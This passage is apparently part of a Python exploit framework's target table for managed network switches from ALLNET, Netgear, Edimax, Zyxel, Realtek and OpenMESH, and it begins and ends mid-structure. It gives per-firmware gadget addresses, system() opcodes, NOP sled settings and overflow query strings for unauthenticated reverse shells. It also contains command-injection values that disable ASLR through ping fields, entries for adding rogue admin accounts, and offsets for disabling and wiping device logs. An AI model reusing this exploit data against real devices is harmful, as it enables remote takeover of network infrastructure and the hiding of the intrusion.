      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'752-76347': {
'model':'ALL-SG8208M',
'template':'ALLNET_JSON',          # Static for the vendor
'version':'2.2.1',            # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40C4FC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998528,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248498dc,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)

'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': {
'vulnerable': False,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set()
'log_settings_set':0x412ADC,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set()
'log_ramClear':0x412A24,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set()
'log_fileClear':0x412A24,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x40FA74,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x40FA74,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x40FA74,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # ALLNET GmbH Computersysteme 
      # Not JSON based SG8xxx
      # (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power, Gigamedia, TG-NET)
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'222-50100': {
'template':'ALLNET',          # Static for the vendor
'version':'3.1.1-R3-B1',          # Version / binary dependent stuff
'model':'ALL-SG8310PM',        # Model
'uri':'https://www.allnet.de/en/allnet-brand/produkte/switches/entry-line-layer2-smart-managed-unamanged/poe-switches0/p/allnet-all-sg8310pm-smart-managed-8-port-gigabit-4x-hpoe',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40C74C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484029c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x46BB04,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x46F240,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x46F240,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntp_set':0x426724,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x426724,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x424D28,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable':False,
          }, 

          # Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP),
          # and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where:
          # 
          # NOP's
          # '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00
          # '%24%04%FF%FF' : li $a0, 0xFFFFFFFF
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE',
'START':0x10010104,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP' :0x10600604,        # end: You may want to play with this if you dont get it working
'usr_nop': 28,          # NOP sled (shellcode will be tailed)
'pwd_nop': 20,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # Netgear inc.
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : No (logging do not exist)
      # Del /var/log/flash.log : No (logging do not exist)
      # Del /mntlog/flash.log  : No (logging do not exist)
      # Add credentials        : No (Single account only)
      # Del credentials        : No (Single account only)
      #
'609-31457': {
'template':'Netgear',            # Static for the vendor
'model':'GS750E ProSAFE Plus Switch',
'uri':'https://www.netgear.com/support/product/gs750e.aspx',
'version':'1.0.0.22',          # Version / binary dependent stuff
'login': {
'encryption':'caesar',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&password=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
        },
'verify': { 
'set.cgi': {
'description':'Stack overflow in "password" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&password=' + self.random_string(320) + '&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x4102F8,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f9984fc,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24840c6c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_log': {
'vulnerable': False,
          },
          #
          # Interesting, by adding 0xc1c1c1c1 to START/STOP, remote end will decode to our original START/STOP (including 0x00) =]
          #
'heack_cgi_shell': {
'description':'Stack overflow in "password" (PoC: reverse shell)',
'authenticated': False,
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'logout_uri':'/cgi/set.cgi?cmd=home_logout',
'cgi':'set.cgi',      # /sqfs/home/web/cgi-bin/security.cgi; main()
'START':0x10001210,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x10006210,        # end: You may want to play with this if you dont get it working
'usr_nop': 50,          # NOP sled (shellcode will be tailed)
'pwd_nop': 79,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
'query':'{"_ds=1&password=' + self.random_string(316) + '_RA_START&shellcode=_USRNOP_SHELLCODE&_de=1":{}}',
'workaround':False,  # My LAB workaround
'vulnerable': True,
'safe': True



          },
        },
      },

      #
      # Netgear inc.
      #
      # Note: 
      # 'username' is vulnerable for stack overflow
      # 'pwd' use 'encode()' and not vulnerable for stack overflow (so we cannot jump with 'buffer method'...)
      # Boa/Hydra 'getFdStr()' loop modified, original xploit dont work (0x00 are now ok), weird 'solution' to have $t9 loaded with JMP in 'fwrite()'
      # 'hash=<MD5>' tailing all URI's
      #
      # CGI Reverse Shell      : No
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : No
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : No
      # Del credentials        : No
      #
'639-98866': {
'template':'Netgear',            # Static for the vendor
'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
'uri':'https://kb.netgear.com/000060184/GS728TPv2-GS728TPPv2-GS752TPv2-GS752TPP-Firmware-Version-6-0-0-45',
'version':'6.0.0.45',          # Version / binary dependent stuff
'info_leak':False,
'hash_uri':True,  # tailed 'hash=' md5 hashed URI as csrf token
'login': {
'encryption':'encode',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
        },
'verify': { 
'set.cgi': {
'description':'Stack overflow in "username" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
                            # 
'gadget': 0x45678C,        # Direct heap address for NOP slep and shellcode
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99853c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484ae5c,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 6,            # Should leave as-is (but you can play between 5 - 8)
'safe': False
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
        },
      },

'639-73124': {
'template':'Netgear',            # Static for the vendor
'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP',
'uri':'https://www.netgear.com/support/product/GS752TPv2#Firmware%20Version%206.0.0.37',
'version':'6.0.0.37',          # Version / binary dependent stuff
'info_leak':False,
'hash_uri':True,  # tailed 'hash=' md5 hashed URI as csrf token
'login': {
'encryption':'encode',
'login_uri':'/cgi/set.cgi?cmd=home_loginAuth',
'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}',
        },
'verify': { 
'set.cgi': {
'description':'Stack overflow in "username" (PoC: crash CGI)',
'authenticated': False,
'response':'502',
'Content-Type':False,
'uri':'/cgi/set.cgi?cmd=home_loginAuth',
'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}',
'check_uri':False,
'content_check':False,
'vulnerable': True,
'safe': True
            },
        },
'exploit': {
'heack_hydra_shell': {
                            # 
'gadget': 0x45778C,        # Direct heap address for NOP slep and shellcode
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998538,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484afec,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 6,            # Should leave as-is (but you can play between 5 - 8)
'safe': False
          },
'stack_cgi_diag': {
'vulnerable': False,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
        },
      },

      #
      # EdimaxPRO
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'225-63242': {
'template':'Edimax',          # Static for the vendor
'model':'GS-5424PLC',
'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
'version':'1.1.1.5',          # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E6DC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998524,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248411bc,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
            # traceroute
'web_sys_ping_post':0x40DFF4,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',

'verify_uri':'/tmp/check',
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
'log_settings_set':0x41D99C,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_ramClear':0x41D8E4,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_fileClear':0x41D8E4,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x41620C,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x41620C,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x41620C,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': False,      # Not clear, may be to long URI for the stack
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },
'225-96283': {
'template':'Edimax',          # Static for the vendor
'model':'GS-5424PLC',
'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc',
'version':'1.1.1.6',          # Version / binary dependent stuff
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E6DC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998524,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248411ac,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,        # 
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_diag_traceroute_set()
            # traceroute
'web_sys_ping_post':0x40E024,  # Jump one after 'sw $ra'      # (address, binary dependent)
'sys_ping_post_cmd':'&srvHost=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
'sys_ping_post_check':'',

'verify_uri':'/tmp/check',
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_global_set()
'log_settings_set':0x41D9EC,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_ramClear':0x41D934,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi/set.cgi; cgi_log_clear_set()
'log_fileClear':0x41D934,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,        # 
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntp_set':0x416254,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject RCE)
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSntpDel_set':0x416254,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set()
'sys_timeSettings_set':0x416254,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'set.cgi',        # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set()
'START':0x7ffeff04,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 64,          # NOP sled (shellcode will be tailed)
'pwd_nop': 77,          # filler/garbage (not used for something constructive)
'align': 3,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,        # 
          },
        },
      },

      #
      # Zyxel
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes (adding username to next free index number, may not be #1)
      # Del credentials        : Yes (index number instead of username, may not be #1)
      #
'222-71560': {
'template':'Zyxel',          # Static for the vendor
'version':'2.40_AAHL.1_20180705',  # Version / binary dependent stuff
'model':'GS1900-24',        # Model
'uri':'https://www.zyxel.com/products_services/8-10-16-24-48-port-GbE-Smart-Managed-Switch-GS1900-Series/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40D60C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f998520,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x2484e148,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,        # 
          },
          #
          #
'stack_cgi_diag': {        # Not vulnerable
'address':0x4341C4,
'vulnerable': False,
          },
'stack_cgi_add_account': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_localUser_post()
'address':0x436D9C,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&usrName=USERNAME&usrPrivType=15&usrPriv=15',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': { #
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_localUserDel_post()
'address':0x437124,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&_del=1',      # First additional user in the list
'vulnerable': True,        # user
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x47D760,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_delete_post()
'log_ramClear':0x480804,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_delete_post()
'log_fileClear':0x480804,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,        # 
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntp_set':0x43BA8C,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x43BA8C,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x43AF54,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable':False,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username='+ self.random_string(100) +'_RA_START&password='+ self.random_string(59) +'&STARTUP_BACKUP=1'+ (('&' + struct.pack('>L',0x2404FF3D) + struct.pack('>L',0x2404FFFF)) * 70) + '&' + struct.pack('>L',0x2404FF3D) +'_SHELLCODE',
'START':0x10010104,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP': 0x104006A0,        # end: You may want to play with this if you dont get it working
'usr_nop': 25,          # NOP sled (shellcode will be tailed)
'pwd_nop': 15,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':False,          # NOP and shellcode lays on: True = stack, False = Heap
          },
        },
      },

      #
      # Realtek
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : No
      # Del /mntlog/flash.log  : No
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'222-40570': {
'template':'Realtek',          # Static for the vendor
'version':'3.0.0.43126',        # Version / binary dependent stuff
'model':'RTL8380-24GE-4GEC',      # Model
'uri':'https://www.realtek.com/en/products/communications-network-ics/item/rtl8381m-vb-cg-2',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E6DC,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system) # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x24841ea8,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
'vulnerable': False,
          },
'stack_cgi_del_account': { #
'vulnerable': False,
          },
'stack_cgi_diag': {
            # Ping IPv4
'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space&count=1',
'verify_uri':'/tmp/pingtest_tmp',
'web_sys_ping_post':0x422980,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()

            # traceroute
            #'web_sys_ping_post':0x423168,  # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
            #'sys_ping_post_cmd':'ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space;cat /proc/sys/kernel/randomize_va_space > /tmp/traceroute_tmp #&tr_maxhop=30&count=1',
            #'verify_uri':'/tmp/traceroute_tmp',
'vulnerable': True,
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
'log_settings_set':0x481968,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_ramClear':0x4847DC,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
'log_fileClear':0x4847DC,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'stack_cgi_sntp': {
'sys_timeSntp_set':0x42C8F0,  # Jump one after 'sw $ra'      # Set SNTP Server (Inject CMD)
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
'sys_timeSntpDel_set':0x42C8F0,  # Jump one after 'sw $ra'      # Delete (address, binary dependent) 
                            # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post()
'sys_timeSettings_set':0x42C8F0,# Jump one after 'sw $ra'      # Enable/Disable (address, binary dependent)
'vulnerable': True,
          }, 
'heack_cgi_shell': {
'cgi':'dispatcher.cgi',      # /sqfs/home/web/cgi-bin/dispatcher.cgi; main()
'query':'username=_USRNOP&password=_PWDNOP_RA_START&login=1&_USRNOP_USRNOP_SHELLCODE',
'START':0x7fff7004,        # start: Stack overflow RA, used for searching NOP sled by blind jump
'STOP':0x7fc60000,        # end: You may want to play with this if you dont get it working
'usr_nop': 28,          # NOP sled (shellcode will be tailed)
'pwd_nop': 20,          # filler/garbage (not used for something constructive)
'align': 0,            # Align opcodes in memory
'stack':True,          # NOP and shellcode lays on: True = stack, False = Heap
'vulnerable': True,
          },
        },
      },

      #
      # OpenMESH (some identical with enginius egs series)
      #
      # CGI Reverse Shell      : Yes
      # Boa/Hydra reverse shell: Yes
      # Del /var/log/ram.log   : Yes
      # Del /var/log/flash.log : Yes
      # Del /mntlog/flash.log  : Yes
      # Add credentials        : Yes
      # Del credentials        : Yes
      #
'13984-12788': {
'template':'OpenMESH',            # Static for the vendor
'version':'01.03.24_180823-1626',          # Version / binary dependent stuff
'model':'OMS24',        # Model
'uri':'https://www.openmesh.com/',
'exploit': {
'heack_hydra_shell': {
                            # /sqfs/bin/boa; embedparse() 
'gadget': 0x40E12C,        # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
                            # /sqfs/bin/boa; read_body(); 
'system': 0x8f99851c,      # la $t9, system # opcode, binary dependent
                            # /sqfs/bin/boa; read_body(); 
'handler': 0x248405a0,      # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
'v0': 7,            # Should leave as-is (but you can play between 5 - 8)
'vulnerable': True,
          },
'stack_cgi_add_account': {
                            # /sqfs/home/web/cgi/set.cgi;  cgi_sys_acctAdd_set()
'address':0x424890,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&',      # Admin, priv 15
'vulnerable': True,
          },
'stack_cgi_del_account': {
                            # /sqfs/home/web/cgi/set.cgi;  sn_user_mngSet()
'address':0x424890,        # Jump one after 'sw $ra'      # (address, binary dependent)
'account':'&na=USERNAME&pw=&pv=0&op=0',    # 
'vulnerable': True,        # user
          },
'stack_cgi_diag': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_ipv4PingSet()
            #'web_sys_ping_post':0x42341C,  # Jump one after 'sw $ra'      # (address, binary dependent)

                            # /sqfs/home/web/cgi-bin/datajson.cgi;  sn_tracertSet()
'sys_ping_post_cmd':'&ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space #&mh=30&uid=0',
'sys_ping_post_check':'&ip=127.0.0.1 ; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0',
'verify_uri':'/conf_tmp/check',
'web_sys_ping_post': 0x424248,  # Jump one after 'sw $ra'      # (address, binary dependent)
'vulnerable': True,        # 
          },
'stack_cgi_log': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet()
'log_settings_set':0x43EA88,  # Jump one after 'sw $ra'      # Disable Logging (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_ramClear':0x440660,    # Jump one after 'sw $ra'      # Clean RAM log (address, binary dependent)
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set()
'log_fileClear':0x440660,    # Jump one after 'sw $ra'      # Clean FILE log (address, binary dependent)
'vulnerable': True,
          },
'stack_cgi_sntp': {
                            # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet()
